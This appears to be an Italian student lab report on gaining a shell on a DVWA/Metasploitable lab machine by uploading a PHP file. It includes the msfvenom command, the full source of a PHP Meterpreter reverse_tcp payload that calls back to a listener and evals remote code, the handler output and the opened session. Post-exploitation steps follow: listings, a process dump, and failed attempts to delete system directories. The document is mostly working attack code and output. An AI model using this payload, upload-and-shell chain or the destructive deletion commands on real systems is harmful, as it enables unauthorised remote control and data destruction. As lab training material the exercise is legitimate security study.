Consegna:

1) Indicazione del codice PHP utilizzato. Usiamo una shell php creata da Meterpreter.
   Il funzionamento della shell è reso possibile dall'iniezione di codice direttamente all'URL.
   Meterpreter crea autonomamente la sua shell php

```
┌──(davide㉿kali)-[~]
└─$ msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.50.108 lport=4444 -f raw > exploitm.php
[-] No platform was selected, choosing Msf::Module::Platform::PHP from the payload
[-] No arch selected, selecting arch: php from the payload
No encoder specified, outputting raw payload
Payload size: 1115 bytes
```

```
1 /*<?php /**/ error_reporting(0); $ip = '192.168.50.108'; $port = 4444; if (($f = 'stream_socket_client') &&
  is_callable($f)) { $s = $f("tcp://{$ip}:{$port}"); $s_type = 'stream'; } if (!$s && ($f = 'fsockopen') &&
  is_callable($f)) { $s = $f($ip, $port); $s_type = 'stream'; } if (!$s && ($f = 'socket_create') && is_callable($f))
  { $s = $f(AF_INET, SOCK_STREAM, SOL_TCP); $res = @socket_connect($s, $ip, $port); if (!$res) { die(); } $s_type =
  'socket'; } if (!$s_type) { die('no socket funcs'); } if (!$s) { die('no socket'); } switch ($s_type) { case
  'stream': $len = fread($s, 4); break; case 'socket': $len = socket_read($s, 4); break; } if (!$len) { die(); } $a =
  unpack("Nlen", $len); $len = $a['len']; $b = ''; while (strlen($b) < $len) { switch ($s_type) { case 'stream':
  $b .= fread($s, $len-strlen($b)); break; case 'socket': $b .= socket_read($s, $len-strlen($b)); break; } }
  $GLOBALS['msgsock'] = $s; $GLOBALS['msgsock_type'] = $s_type; if (extension_loaded('suhosin') &&
  ini_get('suhosin.executor.disable_eval')) { $suhosin_bypass=create_function('', $b); $suhosin_bypass(); } else
  { eval($b); } die();
```

   Effettuato l'uplodad con la stessa procedura della precedente shell php, lo attiviamo caricando la pagina 192.168.50.101/dvwa/hackables/uploads/..
   Il risultato è l'attivazione di una shell come segue

```
Module options (exploit/multi/handler):

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------


Payload options (php/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.50.108   yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Wildcard Target



View the full module info with the info, or info -d command.

msf6 exploit(multi/handler) > run

[*] Started reverse TCP handler on 192.168.50.108:4444
[*] Sending stage (39927 bytes) to 192.168.50.101
[*] Meterpreter session 1 opened (192.168.50.108:4444 → 192.168.50.101:56278) at 2023-05-18 18:56:28 +0200
```

A questo punto possiamo iniziare a dare comandi alla shell. È da tenere presente che una shell php ha meno funzionalità di una normale shell meterpreter, pertanto alcuni comandi non potranno essere eseguiti, come vedremo in seguito.

2) Risultato della richieste ls dalle cartelle di partenza e una sopra in gerarchia (..)

```
meterpreter > ls
Listing: /var/www/dvwa/hackable/uploads
=======================================

Mode              Size  Type  Last modified              Name
----              ----  ----  -------------              ----
100644/rw-r--r--  667   fil   2010-03-16 06:56:22 +0100  dvwa_email.png
100600/rw-------  1115  fil   2023-05-18 20:49:44 +0200  exploitm.php
100600/rw-------  35    fil   2023-05-16 22:49:08 +0200  shell.php
100600/rw-------  35    fil   2023-05-17 19:13:55 +0200  shell1.php
100600/rw-------  677   fil   2023-05-17 19:21:08 +0200  weevely.php

meterpreter >
```

```
meterpreter > cd ..
meterpreter > ls
Listing: /var/www/dvwa/hackable
===============================

Mode              Size  Type  Last modified              Name
----              ----  ----  -------------              ----
040755/rwxr-xr-x  4096  dir   2023-05-18 20:49:44 +0200  uploads
040755/rwxr-xr-x  4096  dir   2012-05-20 21:22:36 +0200  users
```

3) Eventuali altre scoperte
   1- Bin:

```
meterpreter > cd /bin
meterpreter > ls
Listing: /bin
=============

Mode              Size    Type  Last modified              Name
----              ----    ----  -------------              ----
100755/rwxr-xr-x  701808  fil   2008-04-15 05:36:34 +0200  bash
100755/rwxr-xr-x  26300   fil   2008-03-21 11:32:33 +0100  bunzip2
100755/rwxr-xr-x  26300   fil   2008-03-21 11:32:33 +0100  bzcat
100755/rwxr-xr-x  2128    fil   2008-03-21 11:32:33 +0100  bzcmp
100755/rwxr-xr-x  2128    fil   2008-03-21 11:32:33 +0100  bzdiff
100755/rwxr-xr-x  3642    fil   2008-03-21 11:32:33 +0100  bzegrep
100755/rwxr-xr-x  4874    fil   2008-03-21 11:32:33 +0100  bzexe
100755/rwxr-xr-x  3642    fil   2008-03-21 11:32:33 +0100  bzfgrep
100755/rwxr-xr-x  3642    fil   2008-03-21 11:32:33 +0100  bzgrep
100755/rwxr-xr-x  26300   fil   2008-03-21 11:32:33 +0100  bzip2
100755/rwxr-xr-x  8064    fil   2008-03-21 11:32:33 +0100  bzip2recover
100755/rwxr-xr-x  1297    fil   2008-03-21 11:32:33 +0100  bzless
100755/rwxr-xr-x  1297    fil   2008-03-21 11:32:33 +0100  bzmore
100755/rwxr-xr-x  27312   fil   2008-04-04 08:42:37 +0200  cat
100755/rwxr-xr-x  45824   fil   2008-04-04 08:42:37 +0200  chgrp
100755/rwxr-xr-x  42816   fil   2008-04-04 08:42:37 +0200  chmod
100755/rwxr-xr-x  47868   fil   2008-04-04 08:42:37 +0200  chown
100755/rwxr-xr-x  71664   fil   2008-04-04 08:42:37 +0200  cp
100755/rwxr-xr-x  110540  fil   2007-11-13 11:54:10 +0100  cpio
100755/rwxr-xr-x  79988   fil   2008-03-12 12:22:28 +0100  dash
100755/rwxr-xr-x  55820   fil   2008-04-04 08:42:37 +0200  date
100755/rwxr-xr-x  48308   fil   2008-04-04 08:42:37 +0200  dd
100755/rwxr-xr-x  45588   fil   2008-04-04 08:42:37 +0200  df
100755/rwxr-xr-x  92376   fil   2008-04-04 08:42:37 +0200  dir
100755/rwxr-xr-x  4496    fil   2008-04-15 05:36:46 +0200  dmesg
100755/rwxr-xr-x  8800    fil   2007-11-15 19:01:36 +0100  dnsdomainname
100755/rwxr-xr-x  24684   fil   2008-04-04 08:42:37 +0200  echo
100755/rwxr-xr-x  40560   fil   2008-02-29 08:19:35 +0100  ed
100755/rwxr-xr-x  96440   fil   2007-10-23 22:58:59 +0200  egrep
100755/rwxr-xr-x  22192   fil   2008-04-04 08:42:37 +0200  false
100755/rwxr-xr-x  5740    fil   2008-02-06 23:49:54 +0100  fgconsole
100755/rwxr-xr-x  53396   fil   2007-10-23 22:58:59 +0200  fgrep
100755/rwxr-xr-x  22536   fil   2007-11-23 11:15:03 +0100  fuser
104754/rwxr-xr--  20056   fil   2008-02-26 19:25:12 +0100  fusermount
100755/rwxr-xr-x  100536  fil   2007-10-23 22:58:59 +0200  grep
100755/rwxr-xr-x  63      fil   2007-11-15 12:49:42 +0100  gunzip
100755/rwxr-xr-x  5874    fil   2007-11-15 12:49:42 +0100  gzexe
100755/rwxr-xr-x  53488   fil   2007-11-15 12:49:44 +0100  gzip
100755/rwxr-xr-x  8796    fil   2007-11-15 19:01:36 +0100  hostname
100755/rwxr-xr-x  183288  fil   2008-04-12 09:26:11 +0200  ip
100755/rwxr-xr-x  6744    fil   2008-02-06 23:49:54 +0100  kbd_mode
100755/rwxr-xr-x  12580   fil   2008-03-13 23:24:47 +0100  kill
100755/rwxr-xr-x  39012   fil   2008-04-04 08:42:37 +0200  ln
```

2- Ps per elencare la lista dei processi attivi:

```
Process List
============

 PID   Name                          User      Path
 ---   ----                          ----      ----
 1     /sbin/init                    root      /sbin/init
 2     [kthreadd]                    root      [kthreadd]
 3     [migration/0]                 root      [migration/0]
 4     [ksoftirqd/0]                 root      [ksoftirqd/0]
 5     [watchdog/0]                  root      [watchdog/0]
 6     [events/0]                    root      [events/0]
 7     [khelper]                     root      [khelper]
 41    [kblockd/0]                   root      [kblockd/0]
 44    [kacpid]                      root      [kacpid]
 45    [kacpi_notify]                root      [kacpi_notify]
 88    [kseriod]                     root      [kseriod]
 126   [pdflush]                     root      [pdflush]
 127   [pdflush]                     root      [pdflush]
 128   [kswapd0]                     root      [kswapd0]
 170   [aio/0]                       root      [aio/0]
 1126  [ksnapd]                      root      [ksnapd]
 1326  [ata/0]                       root      [ata/0]
 1329  [ata_aux]                     root      [ata_aux]
 2008  [scsi_eh_0]                   root      [scsi_eh_0]
 2009  [scsi_eh_1]                   root      [scsi_eh_1]
 2221  [kjournald]                   root      [kjournald]
 2375  /sbin/udevd                   root      /sbin/udevd --daemon
 2596  [kpsmoused]                   root      [kpsmoused]
 3493  [kjournald]                   root      [kjournald]
 3622  /sbin/portmap                 daemon    /sbin/portmap
 3638  /sbin/rpc.statd               statd     /sbin/rpc.statd
 3644  [rpciod/0]                    root      [rpciod/0]
 3659  /usr/sbin/rpc.idmapd          root      /usr/sbin/rpc.idmapd
 3886  /sbin/getty                   root      /sbin/getty 38400 tty4
 3887  /sbin/getty                   root      /sbin/getty 38400 tty5
 3893  /sbin/getty                   root      /sbin/getty 38400 tty2
 3896  /sbin/getty                   root      /sbin/getty 38400 tty3
 3899  /sbin/getty                   root      /sbin/getty 38400 tty6
 3935  /sbin/syslogd                 syslog    /sbin/syslogd -u syslog
 3970  /bin/dd                       root      /bin/dd bs 1 if /proc/kmsg of /var/run/klogd/kmsg
 3972  /sbin/klogd                   klog      /sbin/klogd -P /var/run/klogd/kmsg
 3995  /usr/sbin/named               bind      /usr/sbin/named -u bind
 4017  /usr/sbin/sshd                root      /usr/sbin/sshd
 4093  /bin/sh                       root      /bin/sh /usr/bin/mysqld_safe
 4135  /usr/sbin/mysqld              mysql     /usr/sbin/mysqld --basedir=/usr --datadir=/var/lib/mysql --us
                                               er=mysql --pid-file=/var/run/mysqld/mysqld.pid --skip-externa
                                               l-locking --port=3306 --socket=/var/run/mysqld/mysqld.sock
 4137  logger                        root      logger -p daemon.err -t mysqld_safe -i -t mysqld
 4214  /usr/lib/postgresql/8.3/bin/postgr  postgres  /usr/lib/postgresql/8.3/bin/postgres -D /var/lib/postgresql/8
       es                                        .3/main -c config_file=/etc/postgresql/8.3/main/postgresql.co
                                                 nf
 4217  postgres:                     postgres  postgres: writer process
 4218  postgres:                     postgres  postgres: wal writer process
```

```
                                                 nf
4217  postgres:                     postgres  postgres: writer process
4218  postgres:                     postgres  postgres: wal writer process
4219  postgres:                     postgres  postgres: autovacuum launcher process
4220  postgres:                     postgres  postgres: stats collector process
4240  distccd                       daemon    distccd --daemon --user daemon --allow 0.0.0.0/0
4241  distccd                       daemon    distccd --daemon --user daemon --allow 0.0.0.0/0
4290  [lockd]                       root      [lockd]
4291  [nfsd4]                       root      [nfsd4]
4292  [nfsd]                        root      [nfsd]
4293  [nfsd]                        root      [nfsd]
4294  [nfsd]                        root      [nfsd]
4295  [nfsd]                        root      [nfsd]
4296  [nfsd]                        root      [nfsd]
4297  [nfsd]                        root      [nfsd]
4298  [nfsd]                        root      [nfsd]
4299  [nfsd]                        root      [nfsd]
4303  /usr/sbin/rpc.mountd          root      /usr/sbin/rpc.mountd
4369  /usr/lib/postfix/master       root      /usr/lib/postfix/master
4370  pickup                        postfix   pickup -l -t fifo -u -c
4373  qmgr                          postfix   qmgr -l -t fifo -u
4376  /usr/sbin/nmbd                root      /usr/sbin/nmbd -D
4378  /usr/sbin/smbd                root      /usr/sbin/smbd -D
4385  /usr/sbin/smbd                root      /usr/sbin/smbd -D
4396  /usr/sbin/xinetd              root      /usr/sbin/xinetd -pidfile /var/run/xinetd.pid -stayalive -ine
                                              td_compat
4433  distccd                       daemon    distccd --daemon --user daemon --allow 0.0.0.0/0
4434  distccd                       daemon    distccd --daemon --user daemon --allow 0.0.0.0/0
4436  proftpd:                      proftpd   proftpd: (accepting connections)
4450  /usr/sbin/atd                 daemon    /usr/sbin/atd
4461  /usr/sbin/cron                root      /usr/sbin/cron
4489  /usr/bin/jsvc                 root      /usr/bin/jsvc -user tomcat55 -cp /usr/share/java/commons-daem
                                              on.jar:/usr/share/tomcat5.5/bin/bootstrap.jar -outfile SYSLOG
                                               -errfile SYSLOG -pidfile /var/run/tomcat5.5.pid -Djava.awt.h
                                              eadless=true -Xmx128M -Djava.endorsed.dirs=/usr/share/tomcat5
                                              .5/common/endorsed -Dcatalina.base=/var/lib/tomcat5.5 -Dcatal
                                              ina.home=/usr/share/tomcat5.5 -Djava.io.tmpdir=/var/lib/tomca
                                              t5.5/temp -Djava.security.manager -Djava.security.policy=/var
                                              /lib/tomcat5.5/conf/catalina.policy org.apache.catalina.start
                                              up.Bootstrap
4490  /usr/bin/jsvc                 root      /usr/bin/jsvc -user tomcat55 -cp /usr/share/java/commons-daem
                                              on.jar:/usr/share/tomcat5.5/bin/bootstrap.jar -outfile SYSLOG
                                               -errfile SYSLOG -pidfile /var/run/tomcat5.5.pid -Djava.awt.h
                                              eadless=true -Xmx128M -Djava.endorsed.dirs=/usr/share/tomcat5
                                              .5/common/endorsed -Dcatalina.base=/var/lib/tomcat5.5 -Dcatal
                                              ina.home=/usr/share/tomcat5.5 -Djava.io.tmpdir=/var/lib/tomca
                                              t5.5/temp -Djava.security.manager -Djava.security.policy=/var
                                              /lib/tomcat5.5/conf/catalina.policy org.apache.catalina.start
                                              up.Bootstrap
4492  /usr/bin/jsvc                 tomcat55  /usr/bin/jsvc -user tomcat55 -cp /usr/share/java/commons-daem
                                              on.jar:/usr/share/tomcat5.5/bin/bootstrap.jar -outfile SYSLOG
```

3- Ho provato a “cancellare” qualche cartella ma senza esito

```
meterpreter > options
[-] Unknown command: options
meterpreter > rm -r bin
[-] stdapi_fs_delete_file: Operation failed: 1
meterpreter > rmdir bin
Removing directory: bin
[-] stdapi_fs_delete_dir: Operation failed: 1
```

```
meterpreter > ls
Listing: /
==========

Mode              Size     Type  Last modified              Name
----              ----     ----  -------------              ----
040755/rwxr-xr-x  4096     dir   2012-05-14 05:35:33 +0200  bin
040755/rwxr-xr-x  1024     dir   2012-05-14 05:36:28 +0200  boot
040755/rwxr-xr-x  4096     dir   2010-03-16 23:55:51 +0100  cdrom
040755/rwxr-xr-x  13380    dir   2023-05-18 20:23:32 +0200  dev
040755/rwxr-xr-x  4096     dir   2023-05-18 20:23:36 +0200  etc
040755/rwxr-xr-x  4096     dir   2010-04-16 08:16:02 +0200  home
040755/rwxr-xr-x  4096     dir   2010-03-16 23:57:40 +0100  initrd
100644/rw-r--r--  7929183  fil   2012-05-14 05:35:56 +0200  initrd.img
040755/rwxr-xr-x  4096     dir   2012-05-14 05:35:22 +0200  lib
040700/rwx------  16384    dir   2010-03-16 23:55:15 +0100  lost+found
040755/rwxr-xr-x  4096     dir   2010-03-16 23:55:52 +0100  media
040755/rwxr-xr-x  4096     dir   2010-04-28 22:16:56 +0200  mnt
100600/rw-------  18799    fil   2023-05-18 20:23:57 +0200  nohup.out
040755/rwxr-xr-x  4096     dir   2010-03-16 23:57:39 +0100  opt
040555/r-xr-xr-x  0        dir   2023-05-18 20:23:24 +0200  proc
040755/rwxr-xr-x  4096     dir   2023-05-18 20:23:57 +0200  root
040755/rwxr-xr-x  4096     dir   2012-05-14 03:54:53 +0200  sbin
040755/rwxr-xr-x  4096     dir   2010-03-16 23:57:38 +0100  srv
040755/rwxr-xr-x  0        dir   2023-05-18 20:23:25 +0200  sys
041777/rwxrwxrwx  4096     dir   2023-05-18 20:49:44 +0200  tmp
040755/rwxr-xr-x  4096     dir   2010-04-28 06:06:37 +0200  usr
040755/rwxr-xr-x  4096     dir   2010-03-17 15:08:23 +0100  var
100644/rw-r--r--  1987288  fil   2008-04-10 18:55:41 +0200  vmlinuz

meterpreter > cd sys
meterpreter > ls
Listing: /sys
============

Mode              Size  Type  Last modified              Name
----              ----  ----  -------------              ----
040755/rwxr-xr-x  0     dir   2023-05-18 20:23:31 +0200  block
040755/rwxr-xr-x  0     dir   2023-05-18 20:23:29 +0200  bus
040755/rwxr-xr-x  0     dir   2023-05-18 20:23:31 +0200  class
040755/rwxr-xr-x  0     dir   2023-05-18 20:23:25 +0200  devices
040755/rwxr-xr-x  0     dir   2023-05-18 20:23:28 +0200  firmware
040755/rwxr-xr-x  0     dir   2023-05-18 20:23:25 +0200  fs
040755/rwxr-xr-x  0     dir   2023-05-18 20:23:25 +0200  kernel
040755/rwxr-xr-x  0     dir   2023-05-18 21:06:44 +0200  module
040755/rwxr-xr-x  0     dir   2023-05-18 20:23:28 +0200  power
040755/rwxr-xr-x  0     dir   2023-05-18 21:06:44 +0200  slab

meterpreter > rmdir -r class
Removing directory: -r
[-] stdapi_fs_delete_dir: Operation failed: 1
```